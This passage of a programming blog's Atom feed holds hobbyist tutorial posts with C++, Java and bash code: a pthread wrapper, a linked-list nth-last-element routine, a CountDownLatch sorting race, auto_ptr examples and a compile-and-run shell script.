/&gt;};&lt;br /&gt;&lt;br /&gt;int main(int argc, char** argv) &lt;br /&gt;{&lt;br /&gt;    MyThread *th_arr[10];&lt;br /&gt;    char buffer[100];&lt;br /&gt;    &lt;br /&gt;    for(int i=0; i&amp;lt;10; i++)&lt;br /&gt;    {&lt;br /&gt;        sprintf(buffer,"%d", i+1);&lt;br /&gt;        th_arr[i] = new MyThread("Thread-"+string(buffer)+ " value of i :: ", i);&lt;br /&gt;        &lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    for(int i=0; i&amp;lt;10; i++)&lt;br /&gt;        th_arr[i]-&amp;gt;start();&lt;br /&gt;    &lt;br /&gt;    for(int i=0; i&amp;lt;10; i++)&lt;br /&gt;        th_arr[i]-&amp;gt;join();&lt;br /&gt;    &lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Output:-&lt;br /&gt;&lt;pre&gt;&lt;textarea class="cpp" name="code"&gt;&lt;br /&gt;Thread-1 value of i ::  : 1&lt;br /&gt;Thread-1 value of i ::  : 2&lt;br /&gt;Thread-1 value of i ::  : 3&lt;br /&gt;Thread-1 value of i ::  : 4&lt;br /&gt;Thread-1 value of i ::  : 5&lt;br /&gt;Thread-1 value of i ::  : 6&lt;br /&gt;Thread-1 value of i ::  : 7&lt;br /&gt;Thread-1 value of i ::  : 8&lt;br /&gt;Thread-1 value of i ::  : 9&lt;br /&gt;Thread-1 value of i ::  : 10&lt;br /&gt;Thread-1 value of i ::  : 11&lt;br /&gt;Thread-1 value of i ::  : 12&lt;br /&gt;Thread-1 value of i ::  : 13&lt;br /&gt;Thread-1 value of i ::  : 14&lt;br /&gt;Thread-1 value of i ::  : 15&lt;br /&gt;Thread-1 value of i ::  : 16&lt;br /&gt;Thread-1 value of i ::  : 17&lt;br /&gt;Thread-1 value of i ::  : 18&lt;br /&gt;Thread-1 value of i ::  : 19&lt;br /&gt;Thread-10 value of i ::  : 0&lt;br /&gt;Thread-2 value of i ::  : 0&lt;br /&gt;Thread-3 value of i ::  : 0&lt;br /&gt;Thread-4 value of i ::  : 0&lt;br /&gt;Thread-5 value of i ::  : 0&lt;br /&gt;...............&lt;br /&gt;...............&lt;br /&gt;&lt;/textarea&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-952299884171147054?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/952299884171147054/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2011/09/pthread-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/952299884171147054'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/952299884171147054'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2011/09/pthread-in-c.html' title='pthread in c++'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-7909644995377466998</id><published>2011-09-16T01:14:00.002+05:30</published><updated>2011-09-16T01:17:29.505+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linked List'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Nth last element in Linked List (C++)</title><content type='html'>The following code shows how to get nth last element in a linked list. It uses a queue to hold the temporary elements.&lt;br /&gt;&lt;br /&gt;Algorithm:-&lt;br /&gt;1&gt;Make a queue of length N&lt;br /&gt;2&gt;Traverse the linked list from root&lt;br /&gt;3&gt;While traversing, en-queue first N elements&lt;br /&gt;4&gt;After this for en-queuing every element, de-queue another element.&lt;br /&gt;5&gt;When we reach the end of linked list, the last de-queued element will be the Nth last element.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;textarea class="cpp" name="code"&gt;&lt;br /&gt;/* &lt;br /&gt; * File:   main.cpp&lt;br /&gt; * Author: Asit&lt;br /&gt; *&lt;br /&gt; * Created on 16 September, 2011, 12:25 AM&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &amp;lt;cstdlib&amp;gt;&lt;br /&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;#include &amp;lt;queue&amp;gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;struct node&lt;br /&gt;{&lt;br /&gt;    int data;&lt;br /&gt;    node *next;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;class LinkedList&lt;br /&gt;{&lt;br /&gt;    node *root;&lt;br /&gt;public:&lt;br /&gt;    LinkedList():root(NULL){}&lt;br /&gt;    void add(int x)&lt;br /&gt;    {&lt;br /&gt;        node *temp = NULL;&lt;br /&gt;                &lt;br /&gt;        if(root==NULL)&lt;br /&gt;        {&lt;br /&gt;            root = new node;&lt;br /&gt;            root-&amp;gt;data = x;&lt;br /&gt;            root-&amp;gt;next = NULL;&lt;br /&gt;        }&lt;br /&gt;        else&lt;br /&gt;        {&lt;br /&gt;            temp = root;&lt;br /&gt;            while(temp-&amp;gt;next != NULL)&lt;br /&gt;            {&lt;br /&gt;                temp = temp-&amp;gt;next;&lt;br /&gt;            }&lt;br /&gt;            &lt;br /&gt;            temp-&amp;gt;next = new node;&lt;br /&gt;            temp = temp-&amp;gt;next;&lt;br /&gt;            temp-&amp;gt;data = x;&lt;br /&gt;            temp-&amp;gt;next = NULL;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    void show()&lt;br /&gt;    {&lt;br /&gt;        node *temp = root;&lt;br /&gt;        &lt;br /&gt;        while(temp != NULL)&lt;br /&gt;        {&lt;br /&gt;            cout&amp;lt;&amp;lt;temp-&amp;gt;data&amp;lt;&amp;lt;"  ";&lt;br /&gt;            temp = temp-&amp;gt;next;&lt;br /&gt;        }&lt;br /&gt;        cout&amp;lt;&amp;lt;endl;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    int nthLast(int n)&lt;br /&gt;    {&lt;br /&gt;        queue&amp;lt;node*&amp;gt; t_queue;&lt;br /&gt;        int i=1, t_data = -1;&lt;br /&gt;        node *temp = root;&lt;br /&gt;        &lt;br /&gt;        while(temp != NULL)&lt;br /&gt;        {&lt;br /&gt;            t_queue.push(temp);&lt;br /&gt;            if(i&amp;gt;=n)&lt;br /&gt;            {&lt;br /&gt;                t_data = (t_queue.front())-&amp;gt;data; &lt;br /&gt;                t_queue.pop();&lt;br /&gt;            }&lt;br /&gt;            i++;&lt;br /&gt;            temp = temp-&amp;gt;next;&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        i--;&lt;br /&gt;        if(i&amp;lt;n)&lt;br /&gt;            cout&amp;lt;&amp;lt;"Linked list contains less than "&amp;lt;&amp;lt;n&amp;lt;&amp;lt;" elements"&amp;lt;&amp;lt;endl;&lt;br /&gt;        &lt;br /&gt;        return t_data;&lt;br /&gt;    }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main(int argc, char** argv) &lt;br /&gt;{&lt;br /&gt;    LinkedList list;&lt;br /&gt;    &lt;br /&gt;    for(int i=0; i&amp;lt;20; i++)&lt;br /&gt;        list.add(i*7+90);&lt;br /&gt;    &lt;br /&gt;    cout&amp;lt;&amp;lt;"Created linked list is .. "&amp;lt;&amp;lt;endl;&lt;br /&gt;    list.show();&lt;br /&gt;    &lt;br /&gt;    cout&amp;lt;&amp;lt;"3rd last element : ";&lt;br /&gt;    &lt;br /&gt;    cout&amp;lt;&amp;lt;list.nthLast(3)&amp;lt;&amp;lt;endl;&lt;br /&gt;    &lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Output:-&lt;br /&gt;&lt;pre&gt;&lt;textarea class="cpp" name="code"&gt;&lt;br /&gt;&lt;br /&gt;Created linked list is .. &lt;br /&gt;90  97  104  111  118  125  132  139  146  153  160  167  174  181  188  195  202  209  216  223  &lt;br /&gt;3rd last element : 209&lt;br /&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-7909644995377466998?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/7909644995377466998/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2011/09/nth-last-element-in-linked-list-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/7909644995377466998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/7909644995377466998'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2011/09/nth-last-element-in-linked-list-c.html' title='Nth last element in Linked List (C++)'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-8864081285444443548</id><published>2011-09-13T23:49:00.001+05:30</published><updated>2011-09-14T00:36:51.728+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='countdown latch'/><category scheme='http://www.blogger.com/atom/ns#' term='thread'/><category scheme='http://www.blogger.com/atom/ns#' term='sorting'/><title type='text'>CountDown Latch to measure sorting time (java)</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;The following code uses CountDown Latch to measure the performance of sorting example. The sorting method sorts n array of random numbers in separate threads.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;textarea class="Java" name="code"&gt;import java.util.*;&lt;br /&gt;import java.util.concurrent.*;&lt;br /&gt;&lt;br /&gt;public class SortRace {&lt;br /&gt;&lt;br /&gt; /**&lt;br /&gt;  * @param args&lt;br /&gt;         * @developer lipun4u&lt;br /&gt;  */&lt;br /&gt; public static void main(String[] args) throws Exception{&lt;br /&gt;  // TODO Auto-generated method stub&lt;br /&gt;  int max = 10000;&lt;br /&gt;  int array[] = new int[max];&lt;br /&gt;  Random randomGenerator = new Random();&lt;br /&gt;  &lt;br /&gt;  for(int i=0; i&amp;lt;max; i++)&lt;br /&gt;   array[i] = randomGenerator.nextInt(max*10);&lt;br /&gt;  &lt;br /&gt;  List&amp;lt;String&amp;gt; sortList = Collections.synchronizedList(new ArrayList&amp;lt;String&amp;gt;());&lt;br /&gt;  CountDownLatch startLatch = new CountDownLatch(1);&lt;br /&gt;  CountDownLatch prepareLatch = new CountDownLatch(3);&lt;br /&gt;  CountDownLatch endLatch = new CountDownLatch(3);&lt;br /&gt;  &lt;br /&gt;  new SortThread("BubbleSort", startLatch, prepareLatch, endLatch, array, sortList).start();&lt;br /&gt;  new SortThread("InsertionSort", startLatch, prepareLatch, endLatch, array, sortList).start();&lt;br /&gt;  new SortThread("SelectionSort", startLatch, prepareLatch, endLatch, array, sortList).start();&lt;br /&gt;  &lt;br /&gt;  startLatch.countDown();&lt;br /&gt;  endLatch.await();&lt;br /&gt;  &lt;br /&gt;  System.out.println("Fisrt Position : " + sortList.get(0));&lt;br /&gt;  System.out.println("Second Position : " + sortList.get(1));&lt;br /&gt;  System.out.println("Third Position : " + sortList.get(2));&lt;br /&gt;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;class SortThread extends Thread {&lt;br /&gt; &lt;br /&gt; private String sortName;&lt;br /&gt; private CountDownLatch startLatch, prepareLatch, endLatch;&lt;br /&gt; private int[] pArray;&lt;br /&gt; private int[] array;&lt;br /&gt; &lt;br /&gt; List&amp;lt;String&amp;gt; list;&lt;br /&gt; &lt;br /&gt; public SortThread(String sortName, &lt;br /&gt;   CountDownLatch startLatch,&lt;br /&gt;   CountDownLatch prepareLatch,&lt;br /&gt;   CountDownLatch endLatch,&lt;br /&gt;   int[] pArray,&lt;br /&gt;   List&amp;lt;String&amp;gt; list) {&lt;br /&gt;  this.sortName = sortName;&lt;br /&gt;  this.startLatch = startLatch;&lt;br /&gt;  this.prepareLatch = prepareLatch;&lt;br /&gt;  this.endLatch = endLatch;&lt;br /&gt;  this.list = list;&lt;br /&gt;  this.pArray = pArray;&lt;br /&gt;  System.out.println(sortName + " Started..");&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; public void run() {&lt;br /&gt;  try {&lt;br /&gt;   startLatch.await();&lt;br /&gt;   prepareArray();&lt;br /&gt;   prepareLatch.countDown();&lt;br /&gt;   prepareLatch.await();&lt;br /&gt;   if(sortName == "BubbleSort") {&lt;br /&gt;    bubble_sort(array);&lt;br /&gt;   }&lt;br /&gt;   else if(sortName == "InsertionSort") {&lt;br /&gt;    insertion_sort(array);&lt;br /&gt;   }&lt;br /&gt;   else if(sortName == "SelectionSort") {&lt;br /&gt;    selection_sort(array);&lt;br /&gt;   }&lt;br /&gt;   list.add(sortName);&lt;br /&gt;   endLatch.countDown();&lt;br /&gt;  }&lt;br /&gt;  catch(Exception e) {&lt;br /&gt;   e.printStackTrace();&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; public void prepareArray() {&lt;br /&gt;  array = new int[pArray.length];&lt;br /&gt;  System.arraycopy(array,0, pArray, 0, pArray.length);&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; public void insertion_sort(int array[]) {&lt;br /&gt;  for(int i=1; i&amp;lt;array.length; i++) {&lt;br /&gt;   int j=i;&lt;br /&gt;   int b = array[i];&lt;br /&gt;   while((j&amp;gt;0) &amp;amp;&amp;amp; (array[j-1]&amp;gt;b)) {&lt;br /&gt;    array[j] = array[j-1];&lt;br /&gt;    j--;&lt;br /&gt;   }&lt;br /&gt;   array[j] = b;&lt;br /&gt;  }&lt;br /&gt;   &lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; public void bubble_sort(int array[]) {&lt;br /&gt;  for(int i=0; i&amp;lt;array.length; i++) {&lt;br /&gt;   for(int j=1; j&amp;lt;(array.length-i); j++) {&lt;br /&gt;    if(array[j-1]&amp;gt;array[j]) {&lt;br /&gt;     int t = array[j-1];&lt;br /&gt;     array[j-1]=array[j];&lt;br /&gt;     array[j]=t;&lt;br /&gt;    }&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; public void selection_sort(int array[]) {&lt;br /&gt;  for(int i=0; i&amp;lt;array.length; i++) {&lt;br /&gt;   for(int j=i+1; j&amp;lt;array.length;j++) {&lt;br /&gt;    if(array[i]&amp;gt;array[j]) {&lt;br /&gt;     int t = array[i];&lt;br /&gt;     array[i]=array[j];&lt;br /&gt;     array[j]=t;&lt;br /&gt;    }&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-8864081285444443548?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/8864081285444443548/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2011/09/countdown-latch-to-measure-sorting-time.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/8864081285444443548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/8864081285444443548'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2011/09/countdown-latch-to-measure-sorting-time.html' title='CountDown Latch to measure sorting time (java)'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-6752058156177302209</id><published>2011-08-15T02:37:00.000+05:30</published><updated>2011-08-15T02:37:25.080+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='STL'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>auto_ptr</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Look at the following code. &lt;br /&gt;&lt;br /&gt;&lt;textarea class="Cpp" name="code"&gt;&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt; T *ptr = new T();&amp;lt;br /&amp;gt; /*-----&amp;lt;br /&amp;gt; do some stuffs&amp;lt;br /&amp;gt; -------*/&amp;lt;br /&amp;gt; delete ptr;&amp;lt;br /&amp;gt; &lt;/textarea&gt; &lt;br /&gt;&lt;br /&gt;The above code will work perfectly if the "do some stuffs" section doesn't throw any unhandled exception. If some exception is thrown, then the object will be created in the heap and won't be deleted till the program termination.&lt;br /&gt;&lt;br /&gt;Hence, object creation in heap is always dangerous than object creation in stack. We can avoid the above situation by using auto_ptr templatised class in STL.&lt;br /&gt;&lt;br /&gt;Automatic Pointer(auto_ptr) class is a limited garbage collection facility which takes responsibility of object destruction when the auto_ptr goes out of scope.&lt;br /&gt;&lt;br /&gt;Auto_ptr takes the responsibility of the destruction of the object. Hence if same auto_ptr points to another object, the previous object is destroyed properly. &lt;br /&gt;&lt;br /&gt;Example :-&lt;br /&gt;&lt;pre&gt;&lt;textarea class="Cpp" name="code"&gt;&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;#include &lt;memory&gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;class T&lt;br /&gt;{&lt;br /&gt;	static int i;&lt;br /&gt;	int id;&lt;br /&gt;public:&lt;br /&gt;	T():id(i++)&lt;br /&gt;	{	&lt;br /&gt;		cout&lt;&lt;"T constructor :: "&lt;&lt;id&lt;&lt;endl;&lt;br /&gt;	}&lt;br /&gt;	~T()&lt;br /&gt;	{	&lt;br /&gt;		cout&lt;&lt;"T destructor :: "&lt;&lt;id&lt;&lt;endl;&lt;br /&gt;	}&lt;br /&gt;	void show()&lt;br /&gt;	{&lt;br /&gt;		cout&lt;&lt;"id :: "&lt;&lt;id&lt;&lt;endl;&lt;br /&gt;	}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int T::i = 1;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;	auto_ptr&lt;T&gt; pt(new T());&lt;br /&gt;	pt-&gt;show();&lt;br /&gt;	pt.reset(new T());&lt;br /&gt;	pt-&gt;show();&lt;br /&gt;	&lt;br /&gt;	return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Output :-&lt;br /&gt;&lt;pre&gt;&lt;textarea class="Cpp" name="code"&gt;&lt;br /&gt;T constructor :: 1&lt;br /&gt;id :: 1&lt;br /&gt;T constructor :: 2&lt;br /&gt;T destructor :: 1&lt;br /&gt;id :: 2&lt;br /&gt;T destructor :: 2&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If the responsibility is transferred from 1st pointer to the second pointer(by assignment operator), then 1st pointer is set to NULL. Hence, no two auto pointer points to the same object.&lt;br /&gt;&lt;br /&gt;Example :-&lt;br /&gt;&lt;pre&gt;&lt;textarea class="Cpp" name="code"&gt;&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;#include &lt;memory&gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;class T&lt;br /&gt;{&lt;br /&gt;        static int i;&lt;br /&gt;        int id;&lt;br /&gt;public:&lt;br /&gt;        T():id(i++)&lt;br /&gt;        {&lt;br /&gt;                cout&lt;&lt;"T constructor :: "&lt;&lt;id&lt;&lt;endl;&lt;br /&gt;        }&lt;br /&gt;        ~T()&lt;br /&gt;        {&lt;br /&gt;                cout&lt;&lt;"T destructor :: "&lt;&lt;id&lt;&lt;endl;&lt;br /&gt;        }&lt;br /&gt;        void show()&lt;br /&gt;        {&lt;br /&gt;                cout&lt;&lt;"id :: "&lt;&lt;id&lt;&lt;endl;&lt;br /&gt;        }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int T::i = 1;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;        auto_ptr&lt;T&gt; p1(new T());&lt;br /&gt;        p1-&gt;show();&lt;br /&gt;        auto_ptr&lt;T&gt; p2;&lt;br /&gt;        p2 = p1;&lt;br /&gt;        p2-&gt;show();&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Output :-&lt;br /&gt;&lt;pre&gt;&lt;textarea class="Cpp" name="code"&gt;&lt;br /&gt;T constructor :: 1&lt;br /&gt;id :: 1&lt;br /&gt;id :: 1&lt;br /&gt;T destructor :: 1&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Certain Links that might prove useful&lt;br /&gt;&lt;a href="http://www.gotw.ca/publications/using_auto_ptr_effectively.htm"&gt;http://www.gotw.ca/publications/using_auto_ptr_effectively.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.alwynberkeley.com/autoptr.html"&gt;http://www.alwynberkeley.com/autoptr.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cprogramming.com/tutorial/auto_ptr.html"&gt;http://www.cprogramming.com/tutorial/auto_ptr.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-6752058156177302209?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/6752058156177302209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2011/08/autoptr.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/6752058156177302209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/6752058156177302209'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2011/08/autoptr.html' title='auto_ptr'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total><georss:featurename>Mumbai, Maharashtra, India</georss:featurename><georss:point>19.0176147 72.85616440000001</georss:point><georss:box>18.826811199999998 72.7533269 19.2084182 72.95900190000002</georss:box></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-7952432646468659021</id><published>2010-11-05T01:00:00.002+05:30</published><updated>2010-11-05T01:00:49.366+05:30</updated><title type='text'>oracle form tutorial</title><content type='html'>&lt;div style="width:425px" id="__ss_252920"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/magupta26/oracle-forms-tutorial" title="Oracle Forms Tutorial (www.aboutoracleapps.com)"&gt;Oracle Forms Tutorial (www.aboutoracleapps.com)&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse252920" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=oracle-forms-tutorial-1202210912799104-4&amp;rel=0&amp;stripped_title=oracle-forms-tutorial&amp;userName=magupta26" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse252920" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=oracle-forms-tutorial-1202210912799104-4&amp;rel=0&amp;stripped_title=oracle-forms-tutorial&amp;userName=magupta26" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/magupta26"&gt;magupta26&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-7952432646468659021?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/7952432646468659021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2010/11/oracle-form-tutorial.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/7952432646468659021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/7952432646468659021'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2010/11/oracle-form-tutorial.html' title='oracle form tutorial'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-8475650025807525145</id><published>2010-05-08T00:34:00.003+05:30</published><updated>2010-05-08T00:37:11.966+05:30</updated><title type='text'>utility script-2</title><content type='html'>This is a shell script that automates the compilation of single c/c++ source file and executes this. &lt;br /&gt;&lt;br /&gt;&lt;textarea name="code" class="Bash"&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;#Developed by : lipun4u@gmail.com&lt;br /&gt;&lt;br /&gt;file_name=$1&lt;br /&gt;c_extension=".c"&lt;br /&gt;cpp_extension=".cpp"&lt;br /&gt;ip_file_name="$file_name$c_extension"&lt;br /&gt;i=0&lt;br /&gt;&lt;br /&gt;if [ $# -ne 1 ]&lt;br /&gt;then&lt;br /&gt; echo "Usage: `basename $0` &lt;source-file&gt;"&lt;br /&gt; echo "Source file should be without extension"&lt;br /&gt; echo "e.g :-`basename $0` test" &lt;br /&gt; exit 1&lt;br /&gt;fi&lt;br /&gt; &lt;br /&gt;if [ -f $ip_file_name ]&lt;br /&gt;then&lt;br /&gt; echo "compiling c-source file $file_name ....."&lt;br /&gt; gcc -o $file_name $ip_file_name -lpthread&lt;br /&gt; if [ $? -eq 0 ]&lt;br /&gt; then &lt;br /&gt;  i=1&lt;br /&gt; fi&lt;br /&gt;else&lt;br /&gt; ip_file_name="$file_name$cpp_extension"&lt;br /&gt; if [ -f $ip_file_name ]&lt;br /&gt; then&lt;br /&gt;  echo "compiling c++-source file $file_name ....."&lt;br /&gt;  g++ -o $file_name $ip_file_name -lpthread&lt;br /&gt;  if [ $? -eq 0 ]&lt;br /&gt;  then&lt;br /&gt;   i=1&lt;br /&gt;  fi&lt;br /&gt; else&lt;br /&gt;  echo "compilation failed"&lt;br /&gt;  exit 1&lt;br /&gt; fi&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ $i -eq 1 ]&lt;br /&gt;then&lt;br /&gt; echo "Output file name : $file_name"&lt;br /&gt; echo "Executing......"&lt;br /&gt; echo&lt;br /&gt; ./$file_name&lt;br /&gt; exit_status=$?&lt;br /&gt; if [ $exit_status -ne 0 ]&lt;br /&gt; then&lt;br /&gt;  echo "Program execution failed with exit status $exit_status"&lt;br /&gt;  exit 1&lt;br /&gt; fi&lt;br /&gt; echo&lt;br /&gt; echo "Program executed successful"&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-8475650025807525145?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/8475650025807525145/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2010/05/utility-script-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/8475650025807525145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/8475650025807525145'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2010/05/utility-script-2.html' title='utility 